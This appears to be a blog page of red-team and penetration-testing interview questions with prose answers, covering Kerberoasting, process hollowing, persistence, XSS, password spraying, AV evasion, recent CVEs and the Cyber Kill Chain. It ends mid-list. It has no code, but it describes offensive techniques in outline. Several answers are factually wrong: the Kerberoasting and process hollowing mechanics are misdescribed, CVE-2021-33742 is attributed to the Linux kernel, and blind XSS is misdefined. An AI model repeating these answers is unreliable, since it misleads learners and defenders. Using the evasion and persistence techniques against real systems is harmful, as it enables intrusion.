&lt;p&gt;Kerberoasting is a technique used by attackers to exploit weaknesses in the way that Kerberos is implemented in Windows environments. Specifically, it targets service accounts that use Kerberos to authenticate with other services on the network.&lt;/p&gt;

&lt;p&gt;When a service account uses Kerberos authentication, it creates a service principal name (SPN) that is associated with the service it is running. When a user requests access to that service, the service sends a request to the KDC to obtain a Kerberos service ticket that allows it to authenticate the user.&lt;/p&gt;

&lt;p&gt;In Kerberoasting, an attacker targets these service accounts and requests a Kerberos service ticket on behalf of the service account from the KDC. They then use the ticket-granting service (TGS) to decrypt the ticket and obtain the service account’s password hash. This hash can then be used to perform a brute-force attack to crack the password and gain access to the service account.&lt;/p&gt;

&lt;p&gt;To mitigate the risk of Kerberoasting, it is important to follow best practices for securing service accounts, such as using strong passwords and restricting the accounts to the services and resources they require access to. Additionally, organizations can use tools like Microsoft’s Kerberos Detection Tool to identify vulnerable accounts and monitor for suspicious activity on the network.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-process-hollowing-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; What is process hollowing? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Process hollowing is a technique used by attackers to evade detection and execute malicious code on a system. The technique involves creating a new process in a suspended state and then replacing its memory image with the memory image of a legitimate process. The attacker then resumes the execution of the new process, which now runs the malicious code in the context of the legitimate process.&lt;/p&gt;

&lt;p&gt;Process hollowing is typically performed using the Windows API functions CreateProcess and NtUnmapViewOfSection. The attacker first creates a new process using the CreateProcess function, specifying the legitimate process they want to use as a template. They then use the NtUnmapViewOfSection function to unmap the memory image of the legitimate process from the new process’s memory space.&lt;/p&gt;

&lt;p&gt;Once the memory image of the legitimate process has been unmapped, the attacker can replace it with the memory image of their malicious code. This code can then be executed in the context of the legitimate process, allowing it to evade detection by security software that may be monitoring for suspicious behavior.&lt;/p&gt;

&lt;p&gt;Process hollowing is a powerful technique for attackers, as it allows them to execute malicious code in the context of a trusted and whitelisted process, making it difficult for security software to detect and stop the attack. To mitigate the risk of process hollowing, organizations can implement a variety of security measures, such as limiting access to the Windows API functions used in the attack, using security software that can detect and respond to process hollowing, and regularly monitoring systems for suspicious activity.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-the-different-type-of-http-response-codes-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; What are the different type of HTTP response codes &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;HTTP response codes are three-digit codes sent by a web server to a client in response to a request made by the client. They provide information about the status of the request and indicate whether the request was successful or not. Here are the different types of HTTP response codes:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Informational responses (100-199): These response codes indicate that the server has received the request and is continuing to process it. They are typically used for informational purposes and do not contain a response body.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Successful responses (200-299): These response codes indicate that the request was successful and the server was able to process it without errors. The most common successful response code is 200, which is used to indicate that the request was successful and a response body is included.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Redirects (300-399): These response codes indicate that the requested resource has moved or changed location, and the client needs to take additional action to access it. The most common redirect response code is 301, which is used to indicate a permanent redirect.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Client errors (400-499): These response codes indicate that the client made a mistake in the request, such as requesting a non-existent resource or using incorrect authentication credentials. The most common client error response code is 404, which is used to indicate that the requested resource could not be found.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Server errors (500-599): These response codes indicate that an error occurred on the server while processing the request. They are typically caused by issues such as server overload or internal server errors. The most common server error response code is 500, which is used to indicate an internal server error.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By understanding these different types of HTTP response codes, clients and servers can more effectively communicate and troubleshoot issues related to web requests and responses.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-common-methods-used-to-establish-persistence-on-a-machine-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What are common methods used to establish persistence on a machine? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;There are several methods that attackers can use to establish persistence on a compromised machine. Here are some of the most common:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Registry Run Keys&lt;/strong&gt;: Attackers can modify the Windows registry to create a new key that specifies a program to run each time the system starts up. This allows the attacker to ensure that their malware is executed every time the system boots.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Scheduled Tasks&lt;/strong&gt;: Attackers can create scheduled tasks that run their malware at specific times or intervals. These tasks can be configured to run with elevated privileges, making them difficult to detect and remove.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Startup Folder&lt;/strong&gt;: Attackers can place a shortcut to their malware in the Windows startup folder, which causes the program to run every time the user logs in.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Service Creation&lt;/strong&gt;: Attackers can create a new Windows service that runs their malware. The service can be configured to run with elevated privileges, making it difficult to detect and remove.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Browser Extensions&lt;/strong&gt;: Attackers can install malicious browser extensions that run in the background and provide persistent access to a compromised system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Rootkit Installation&lt;/strong&gt;: Attackers can install a rootkit, which is a type of malware that hides its presence from security software and is difficult to detect and remove.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These are just a few examples of the methods that attackers can use to establish persistence on a compromised machine. It is important to regularly monitor systems for signs of compromise and take proactive measures to prevent and mitigate potential attacks.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-the-differences-between-symmetric-and-asymmetric-encryption-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; Explain the differences between Symmetric and Asymmetric Encryption &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Symmetric and asymmetric encryption are two common methods of encrypting data to protect it from unauthorized access. Here are the differences between these two types of encryption:&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Symmetric Encryption &lt;/h3&gt;

&lt;p&gt;In symmetric encryption, a single key is used for both encryption and decryption of data. This means that the same key is used to both scramble and unscramble the data, and the key must be kept secret to maintain the security of the encrypted data. Symmetric encryption is typically faster than asymmetric encryption, but it requires that both the sender and receiver of the encrypted data have access to the same secret key.&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Asymmetric Encryption &lt;/h3&gt;

&lt;p&gt;In asymmetric encryption, also known as public-key encryption, two different keys are used for encryption and decryption. One key, the public key, is used for encrypting data, while the other key, the private key, is used for decrypting the data. The public key can be shared freely, allowing anyone to encrypt data that can only be decrypted by the holder of the private key. Asymmetric encryption is generally slower than symmetric encryption, but it allows for secure communication between two parties without the need to share a secret key.&lt;/p&gt;

&lt;p&gt;In summary, symmetric encryption uses a single secret key for both encryption and decryption, while asymmetric encryption uses a pair of keys, one public and one private, for encryption and decryption. Symmetric encryption is faster, but requires the secure distribution of a secret key. Asymmetric encryption is slower, but enables secure communication between two parties without the need to share a secret key.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-often-and-when-should-red-team-operations-be-performed-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; How often and when should Red Team operations be performed? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The frequency of Red Team operations can vary depending on the organization’s security posture, budget, and resources. Generally, Red Team operations should be conducted on a regular basis to continuously evaluate and improve the organization’s security posture.&lt;/p&gt;

&lt;p&gt;A common approach is to conduct Red Team operations annually or biannually, in addition to regular security testing and vulnerability assessments. However, the frequency of Red Team operations can be increased if there are significant changes to the organization’s infrastructure, applications, or threat landscape.&lt;/p&gt;

&lt;p&gt;Red Team operations can also be scheduled around significant events, such as the launch of a new application, the implementation of a new security control, or the completion of a major infrastructure upgrade. This allows the organization to test the effectiveness of these changes and identify any vulnerabilities that may have been introduced.&lt;/p&gt;

&lt;p&gt;It is important to note that Red Team operations should not be the only security testing performed by an organization. Regular vulnerability assessments and penetration testing should also be conducted to identify and address any security weaknesses. By combining these different testing methods, organizations can gain a more comprehensive understanding of their security posture and take proactive measures to prevent and mitigate potential attacks.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-would-you-pentest-a-network-that-has-ports-21-22--80-open-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; How would you pentest a network that has ports 21, 22 &amp;amp; 80 open? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;To perform a penetration test on a network that has ports 21, 22, and 80 open, there are several steps that a penetration tester may follow:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Port Scanning: Use a tool like Nmap to scan the target network for additional open ports or services running on the open ports. This can help to identify potential attack vectors and vulnerabilities.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Enumeration: Enumerate the services running on the open ports to identify the versions and configurations of the services. This can help to identify known vulnerabilities and attack vectors.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Vulnerability Scanning: Conduct vulnerability scanning to identify known vulnerabilities associated with the services running on the open ports. This can help to prioritize attack vectors and identify potential entry points into the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploitation: Attempt to exploit the identified vulnerabilities to gain access to the network. For example, if an outdated version of an FTP server is running on port 21, the penetration tester may attempt to exploit a known vulnerability in the FTP server to gain access to the network.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Privilege Escalation: Once access to the network has been gained, attempt to escalate privileges to gain access to additional systems and data.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Post-Exploitation: Conduct post-exploitation activities, such as installing backdoors or establishing persistence, to maintain access to the network and evade detection.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Overall, the goal of a penetration test is to identify vulnerabilities and weaknesses in the target network and provide recommendations for improving the organization’s security posture. By following a structured approach and leveraging a range of tools and techniques, a penetration tester can effectively test the security of a network that has ports 21, 22, and 80 open.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-how-do-you-prepare-for-a-red-team-engagement-andor-penetration-test-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; How do you prepare for a Red Team Engagement and/or Penetration test? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Preparing for a Red Team Engagement or Penetration test involves several key steps to ensure the test is conducted effectively and efficiently. Here are some key steps that can be taken to prepare for these types of security assessments:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Define Scope: Clearly define the scope of the engagement, including which systems, applications, and data are in scope and which are out of scope. This helps to ensure that the testing is focused and targeted.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Identify Objectives: Identify the specific objectives of the engagement, such as identifying vulnerabilities in specific systems or testing the effectiveness of a particular security control. This helps to ensure that the testing is aligned with the organization’s overall security goals.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Obtain Authorization: Obtain the necessary authorization from the organization’s management and stakeholders to conduct the engagement. This helps to ensure that the testing is conducted in a legal and ethical manner.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Assemble the Team: Assemble a team of experienced Red Teamers or Penetration testers with a range of technical skills and knowledge. This ensures that the team is able to effectively identify and exploit vulnerabilities in the target environment.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Collect Information: Collect as much information as possible about the target environment, including network diagrams, system configurations, and application architectures. This helps to ensure that the testing is conducted with a comprehensive understanding of the target environment.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Test Planning: Develop a detailed testing plan that outlines the testing methodology, tools and techniques to be used, and testing timelines. This helps to ensure that the testing is conducted in a systematic and organized manner.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Communication: Establish open communication channels with the organization’s stakeholders, IT teams, and other relevant parties to ensure that the testing is conducted without causing undue disruption to the target environment.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By following these key steps, organizations can effectively prepare for Red Team Engagements or Penetration tests and ensure that the testing is conducted in a thorough, professional, and effective manner.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;-explain-different-types-of-web-application-vulnerabilities-idor-sqli-xss-the-different-types-broken-access-control-etc-and-how-you-would-remediate-them-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; Explain different types of Web Application vulnerabilities (IDOR, SQLi, XSS (the different types), Broken Access Control, etc).. and how you would remediate them &lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;Here are explanations of some common types of web application vulnerabilities and potential remediation strategies:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Insecure Direct Object Reference (IDOR): An IDOR vulnerability occurs when an attacker can directly access or manipulate resources or data within a web application that should not be accessible to them, such as modifying data associated with another user. Remediation strategies for IDOR vulnerabilities include implementing access controls to limit access to sensitive resources and data and using indirect object references rather than direct object references.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;SQL Injection (SQLi): An SQLi vulnerability occurs when an attacker can inject malicious SQL commands into an application’s database, allowing them to manipulate, delete, or extract data. Remediation strategies for SQLi vulnerabilities include using parameterized queries, input validation, and limiting database user privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Cross-Site Scripting (XSS): XSS vulnerabilities occur when an attacker can inject malicious scripts into a web application, allowing them to steal user data or take control of the user’s browser. There are different types of XSS vulnerabilities, including stored, reflected, and DOM-based. Remediation strategies for XSS vulnerabilities include input validation, encoding user input, and using Content Security Policy (CSP) to prevent the execution of malicious scripts.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Broken Access Control: Broken access control vulnerabilities occur when an attacker can access resources or data that should be restricted, such as sensitive user data or administrative functions. Remediation strategies for broken access control vulnerabilities include implementing proper authentication and authorization controls, limiting user privileges, and conducting regular access control audits.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;File Inclusion Vulnerabilities: File inclusion vulnerabilities occur when an attacker can manipulate a web application to include or execute malicious files on the server, such as executing arbitrary code or accessing sensitive files. Remediation strategies for file inclusion vulnerabilities include using whitelisting to restrict allowed file types, validating user input, and using secure coding practices.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These are just a few examples of common web application vulnerabilities and potential remediation strategies. To effectively remediate vulnerabilities, it is important to regularly assess web applications for vulnerabilities, implement secure coding practices, and prioritize remediation efforts based on the severity and impact of the vulnerabilities.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-describe-the-different-xss-attacks-and-the-differences-between-them-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; Describe the different XSS attacks and the differences between them &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Cross-Site Scripting (XSS) attacks are a type of web application vulnerability that occurs when an attacker is able to inject malicious scripts into a web page viewed by other users. There are several types of XSS attacks, each with its own characteristics and potential impacts. Here are some of the most common types of XSS attacks:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Reflected XSS: Reflected XSS occurs when an attacker injects a script into a web page that is then reflected back to the user. This can occur when an application doesn’t properly validate user input, such as search queries or form data.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Stored XSS: Stored XSS occurs when an attacker is able to inject a script into a web page that is then permanently stored on the server and served to all users who view the page. This can occur when an application allows user input to be stored on the server, such as user-generated content or comments.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;DOM-based XSS: DOM-based XSS occurs when an attacker is able to inject a script into the Document Object Model (DOM) of a web page, which can then execute in the user’s browser. This can occur when an application uses JavaScript to process user input without properly sanitizing or validating it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Blind XSS: Blind XSS occurs when an attacker is able to inject a script into a web page, but the script is not immediately executed by the server or reflected back to the user. This can occur when an application filters or modifies user input before it is processed, but the attacker is able to bypass these protections.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The main differences between these types of XSS attacks are the methods used by attackers to inject malicious scripts and the potential impacts of the attacks. Reflected and Stored XSS attacks are more common and can lead to serious security risks, such as stealing user data or taking control of a user’s account. DOM-based and Blind XSS attacks are less common but can also be serious if not properly addressed.&lt;/p&gt;

&lt;p&gt;Remediation strategies for XSS attacks include input validation, encoding user input, and using Content Security Policy (CSP) to prevent the execution of malicious scripts. It is also important to regularly assess web applications for vulnerabilities and prioritize remediation efforts based on the severity and impact of the vulnerabilities.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-the-difference-between-encryption-hashing-and-encoding-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; Explain the difference between encryption, hashing, and encoding &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Encryption, hashing, and encoding are methods used to protect data and ensure its integrity, confidentiality, and authenticity. While these terms are often used interchangeably, there are important differences between them.&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Encryption &lt;/h3&gt;

&lt;p&gt;Encryption is the process of converting plaintext (readable data) into ciphertext (unreadable data) to protect it from unauthorized access. This is done by using a key and an encryption algorithm to scramble the plaintext into ciphertext that can only be deciphered with the same key and algorithm. The goal of encryption is to ensure confidentiality and prevent unauthorized access to sensitive information.&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Hashing &lt;/h3&gt;

&lt;p&gt;Hashing is the process of converting data of any size into a fixed-size string of characters. This is done by using a hashing algorithm to generate a unique hash value for the data. The hash value is a one-way function, meaning that it cannot be reversed to recover the original data. The goal of hashing is to ensure data integrity and prevent unauthorized modifications.&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Encoding &lt;/h3&gt;

&lt;p&gt;Encoding is the process of converting data from one format to another. This is done by using a specific encoding method that changes the representation of the data. Encoding does not provide any form of security or protection, as it can be easily reversed.&lt;/p&gt;

&lt;p&gt;In summary, encryption is used to protect data by converting it into an unreadable format, hashing is used to ensure data integrity by creating a unique fingerprint of the data, and encoding is used to change the representation of data without providing any form of security. Each of these methods serves a different purpose and should be used in accordance with specific security requirements.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-the-different-types-encryption-algorithms-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; Explain the different types encryption algorithms &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Encryption algorithms are used to transform plain text into cipher text to protect the confidentiality of data. There are two main types of encryption algorithms: symmetric encryption and asymmetric encryption. Here’s an explanation of each type and some examples of commonly used encryption algorithms:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Symmetric Encryption: Symmetric encryption uses a single key to both encrypt and decrypt data. The same secret key is used by both the sender and the receiver to encrypt and decrypt messages. Examples of symmetric encryption algorithms include:&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Advanced Encryption Standard (AES): A widely used encryption algorithm that uses a fixed-length block cipher to encrypt and decrypt data.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Data Encryption Standard (DES): An older encryption algorithm that uses a 56-bit key to encrypt and decrypt data.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Triple DES: An enhanced version of DES that uses three keys and three encryption operations to provide greater security.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Asymmetric Encryption: Asymmetric encryption uses two keys, a public key and a private key, to encrypt and decrypt data. The public key is freely available and used to encrypt messages, while the private key is kept secret and used to decrypt messages. Examples of asymmetric encryption algorithms include:&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Rivest-Shamir-Adleman (RSA): A widely used asymmetric encryption algorithm that uses prime numbers to generate the public and private keys.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Elliptic Curve Cryptography (ECC): A more recent asymmetric encryption algorithm that uses elliptic curves to generate the public and private keys.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both symmetric and asymmetric encryption algorithms have their own strengths and weaknesses, and are used in different situations depending on the security requirements of the data being protected. For example, symmetric encryption is typically faster and more efficient for encrypting large amounts of data, while asymmetric encryption is more secure for transmitting keys securely and enabling secure communication between two parties without needing to share a secret key.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-explain-the-difference-between-brute-forcing-and-password-spraying-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; Explain the difference between Brute forcing and password spraying &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Brute forcing and password spraying are both methods used to crack passwords, but they differ in their approach and level of sophistication.&lt;/p&gt;

&lt;p&gt;Brute forcing is a method of guessing a password by trying every possible combination of characters until the correct one is found. Brute forcing attacks typically use software that automates the process of trying multiple combinations of characters, starting with the most commonly used passwords and dictionary words, and progressing to more complex and lengthy combinations of characters. Brute forcing attacks can be time-consuming and resource-intensive, but they can be effective in cracking weak passwords or those that are easily guessable.&lt;/p&gt;

&lt;p&gt;Password spraying, on the other hand, is a method of guessing a password by trying a small number of commonly used passwords across a large number of user accounts. Password spraying attacks typically target a large number of user accounts with the same password, such as “Password123” or “Welcome123”, which are commonly used passwords. Password spraying attacks can be more efficient than brute forcing attacks, as they only require a small number of attempts per account, but they can also be less effective against stronger passwords that are not commonly used.&lt;/p&gt;

&lt;p&gt;Overall, brute forcing and password spraying are two different methods used to crack passwords, and they can be used individually or in combination to increase the chances of success. The effectiveness of these attacks depends on several factors, including the strength of the passwords being targeted, the number of accounts being targeted, and the resources available to the attacker. To defend against these attacks, it is important to use strong and unique passwords, implement multi-factor authentication, and monitor for suspicious activity.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;-how-would-you-bypass-av-think-dll-hijacking-registry-key-modification-or-modifying-binary-values-within-the-signature-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; How would you bypass AV? (think DLL hijacking, registry key modification, or modifying binary values within the signature) &lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;Bypassing Anti-Virus (AV) software can be challenging but there are several techniques that can be used to evade detection. Here are some examples:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;DLL hijacking: This technique involves replacing a legitimate DLL file with a malicious one that has the same name. When the program that relies on the DLL is executed, it loads the malicious DLL instead of the legitimate one. This can be used to execute malicious code without triggering the AV.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Registry key modification: Some AV software relies on registry keys to determine if a file is malicious. By modifying the registry key associated with a file, it is possible to trick the AV into thinking that the file is legitimate and safe.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Modifying binary values within the signature: Some AV software uses digital signatures to verify the authenticity of a file. By modifying the binary values within the signature, it is possible to bypass the AV detection and execute the malicious code.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Polymorphic malware: Polymorphic malware is designed to change its code each time it infects a new system, making it difficult for AV software to detect it.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Fileless malware: Fileless malware operates entirely in memory and does not write any files to the disk, making it difficult for traditional AV software to detect it.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These techniques are just a few examples of how AV can be bypassed. However, it is important to note that using these techniques for malicious purposes is illegal and unethical. Instead, it is recommended to use these techniques in controlled environments for testing and research purposes only. Additionally, it is important to regularly update AV software and employ multiple layers of defense, such as intrusion detection systems, to detect and prevent malicious activity.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-are-some-of-the-recent-exploits-used-by-apts-and-brief-upon-some-trending-cves-&quot;&gt;&lt;span style=&quot;color:#F68310;&quot;&gt; what are some of the recent exploits used by APT’s and brief upon some trending CVE’s &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Advanced Persistent Threats (APTs) are sophisticated cyberattacks that are typically carried out by nation-state actors or other well-funded and organized groups. APTs are designed to remain undetected for long periods of time and can cause significant damage to organizations.&lt;/p&gt;

&lt;h3 align=&quot;center&quot;&gt; Some recent exploits used by APTs include: &lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Zero-day exploits: Zero-day exploits are vulnerabilities in software or hardware that are unknown to the vendor and have not yet been patched. APTs often use zero-day exploits to gain access to systems and remain undetected.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Supply chain attacks: Supply chain attacks involve targeting the software or hardware supply chain to inject malware into legitimate software updates or hardware components. This can allow APTs to gain access to systems and remain undetected for long periods of time.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Credential theft: APTs often use social engineering techniques or malware to steal user credentials, such as usernames and passwords, to gain access to systems.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h3 align=&quot;center&quot;&gt; Some trending CVEs (Common Vulnerabilities and Exposures) include: &lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;CVE-2021-34527: Also known as PrintNightmare, this vulnerability in the Windows Print Spooler service allows attackers to execute code with system-level privileges.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;CVE-2021-22986: This vulnerability in F5’s BIG-IP application delivery controller allows remote attackers to execute arbitrary code on targeted systems.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;CVE-2021-26855: This vulnerability in Microsoft Exchange Server allows attackers to bypass authentication and gain access to email accounts.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;CVE-2021-33742: This vulnerability in the Linux kernel allows attackers to gain root privileges on targeted systems.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;It is important for organizations to regularly patch and update software to address known vulnerabilities and reduce the risk of APTs and other cyberattacks. Additionally, implementing strong access controls and monitoring systems can help detect and prevent unauthorized access to sensitive systems and data.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-what-is-a-purple-team-&quot;&gt;&lt;span style=&quot;color:#ad21ed;&quot;&gt; What is a Purple Team? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;A Purple Team is a collaborative approach to cybersecurity testing that combines elements of both Red Team and Blue Team operations. The goal of a Purple Team is to improve the overall security posture of an organization by simulating real-world attack scenarios and identifying vulnerabilities and weaknesses in the security controls and processes.&lt;/p&gt;

&lt;p&gt;In a Purple Team, the Red Team simulates real-world attack scenarios using various tactics, techniques, and procedures (TTPs) to attempt to breach the organization’s defenses. The Blue Team, on the other hand, is responsible for defending against these attacks and detecting any unauthorized activity. The Purple Team provides a bridge between the Red and Blue Teams by facilitating communication, sharing knowledge, and providing feedback on the effectiveness of the organization’s security controls.&lt;/p&gt;

&lt;p&gt;The Purple Team approach helps organizations to identify weaknesses in their security defenses and to test the effectiveness of their incident response procedures. By working together, the Red and Blue Teams can help to improve the overall security posture of the organization and better prepare it to defend against real-world cyberattacks.&lt;/p&gt;

&lt;p&gt;Overall, a Purple Team can be an effective way for organizations to assess their cybersecurity readiness and identify areas for improvement. It encourages collaboration and knowledge sharing between the Red and Blue Teams, helping to improve the overall effectiveness of the organization’s security operations.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;-do-you-know-what-the-cyber-kill-chain-is-can-you-explain-it-&quot;&gt;&lt;span style=&quot;color:#1BF4DC;&quot;&gt; Do you know what the Cyber Kill Chain is? Can you explain it? &lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Yes, the Cyber Kill Chain is a framework that describes the stages of a typical cyberattack, from the initial reconnaissance phase to the exfiltration of data. The Cyber Kill Chain was developed by Lockheed Martin as a way to help organizations understand the tactics, techniques, and procedures (TTPs) used by attackers and to develop strategies to detect and prevent cyberattacks.&lt;/p&gt;

&lt;p&gt;The Cyber Kill Chain consists of the following stages:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Reconnaissance: The attacker gathers information about the target, such as IP addresses, employee names, and email addresses, to identify vulnerabilities and weaknesses.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Weaponization: The attacker develops a weapon, such as a malware payload or exploit, to use in the attack.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Delivery: The attacker delivers the weapon to the target, often using methods such as phishing emails or drive-by downloads.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Exploitation: The attacker uses the weapon to exploit a vulnerability in the target’s system and gain access to sensitive data or systems.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Installation: The attacker installs backdoors, keyloggers, or other malware on the target’s system to maintain access and gather additional information.&lt;/p&gt;
  &lt;/li&gt;
